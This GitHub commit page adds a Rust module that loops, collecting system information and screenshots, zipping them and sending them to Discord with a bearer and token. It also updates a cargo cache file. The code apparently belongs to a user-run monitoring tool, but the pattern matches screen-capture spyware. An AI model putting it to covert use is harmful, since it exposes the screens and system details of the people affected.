-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
30084a8
commit d48b5d5
Showing
5 changed files
with
117 additions
and
66 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -5,4 +5,5 @@ pub mod zip; | |
pub mod system; | ||
pub mod user; | ||
pub mod discord; | ||
pub mod auth; | ||
pub mod auth; | ||
pub mod thread; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
use super::{ | ||
discord, | ||
system::System, | ||
zip::Zip, | ||
files, global | ||
}; | ||
|
||
pub(crate) struct Thread { | ||
running: bool | ||
} | ||
|
||
impl Thread { | ||
|
||
// Initialize a new thread | ||
pub fn new() -> Self { | ||
Self { | ||
running: false | ||
} | ||
} | ||
|
||
// Stop the thread from running | ||
pub fn stop(&mut self) { | ||
self.running = false; | ||
} | ||
|
||
// Start the thread | ||
pub fn start(mut self, bearer: &str, token: &str) { | ||
self.running = true; | ||
|
||
// Clone the token for thread | ||
let token: String = token.to_string().clone(); | ||
let bearer: String = bearer.to_string().clone(); | ||
|
||
std::thread::spawn(move || { | ||
self.main(&bearer, &token); | ||
}).join().expect("failed to spawn main loop thread"); | ||
} | ||
|
||
// Main loop | ||
fn main(&self, bearer: &str, token: &str) { | ||
|
||
// Initialize sys and zip variables | ||
let mut sys: System = System::new(); | ||
let mut zip: Zip = Zip::new(); | ||
|
||
// Until the user presses the stop button... | ||
while self.running { | ||
|
||
// Start after 10 seconds | ||
std::thread::sleep(std::time::Duration::from_secs(10)); | ||
|
||
// Get the system info then add it to a file | ||
let sysinfo = match serde_json::to_vec(&sys.info()){ | ||
Ok(buf) => buf, | ||
Err(e) => panic!("Error: {}", e) | ||
}; | ||
|
||
// Add the sysinfo json to the zip file | ||
match zip.add_file(& | ||
format!("{}.json", global::get_date_time()), &sysinfo | ||
) { | ||
Ok(_) => (), | ||
Err(e) => panic!("Error: {}", e) | ||
} | ||
|
||
// Capture the image then add it to the zip file | ||
let image: Vec<u8> = match files::capture_image() { | ||
Ok(f) => f, | ||
Err(e) => panic!("Error: {}", e) | ||
}; | ||
|
||
// Add the screenshot to the zip file | ||
match zip.add_file( | ||
&format!("{}.png", global::get_date_time()), &image | ||
) { | ||
Ok(_) => (), | ||
Err(e) => panic!("Error: {}", e) | ||
} | ||
|
||
// Encode the image data | ||
let image_data: String = files::encode_png(image); | ||
let sysinfo_data: String = files::encode_json(sysinfo); | ||
|
||
// Send the files to discord | ||
discord::send_files(bearer, token, &image_data, &sysinfo_data); | ||
|
||
// Repeat after 20 to 50 seconds | ||
std::thread::sleep(std::time::Duration::from_secs(50)); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
{"rustc_fingerprint":472984446891056861,"outputs":{"15697416045686424142":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n","stderr":""},"10376369925670944939":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n/Users/tristan/.rustup/toolchains/stable-x86_64-apple-darwin\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_feature=\"sse3\"\ntarget_feature=\"ssse3\"\ntarget_has_atomic=\"128\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"macos\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"apple\"\nunix\n","stderr":""},"4614504638168534921":{"success":true,"status":"","code":0,"stdout":"rustc 1.66.0 (69f9c33d7 2022-12-12)\nbinary: rustc\ncommit-hash: 69f9c33d71c871fc16ac445211281c6e7a340943\ncommit-date: 2022-12-12\nhost: x86_64-apple-darwin\nrelease: 1.66.0\nLLVM version: 15.0.2\n","stderr":""}},"successes":{}} | ||
{"rustc_fingerprint":472984446891056861,"outputs":{"4614504638168534921":{"success":true,"status":"","code":0,"stdout":"rustc 1.66.0 (69f9c33d7 2022-12-12)\nbinary: rustc\ncommit-hash: 69f9c33d71c871fc16ac445211281c6e7a340943\ncommit-date: 2022-12-12\nhost: x86_64-apple-darwin\nrelease: 1.66.0\nLLVM version: 15.0.2\n","stderr":""},"10376369925670944939":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n/Users/tristan/.rustup/toolchains/stable-x86_64-apple-darwin\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_feature=\"sse3\"\ntarget_feature=\"ssse3\"\ntarget_has_atomic=\"128\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"macos\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"apple\"\nunix\n","stderr":""},"15697416045686424142":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n","stderr":""},"9145534597574502034":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n","stderr":""},"1008668923510693610":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n/Users/tristan/.rustup/toolchains/stable-x86_64-apple-darwin\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_feature=\"sse3\"\ntarget_feature=\"ssse3\"\ntarget_has_atomic=\"128\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"macos\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"apple\"\nunix\n","stderr":""}},"successes":{}} |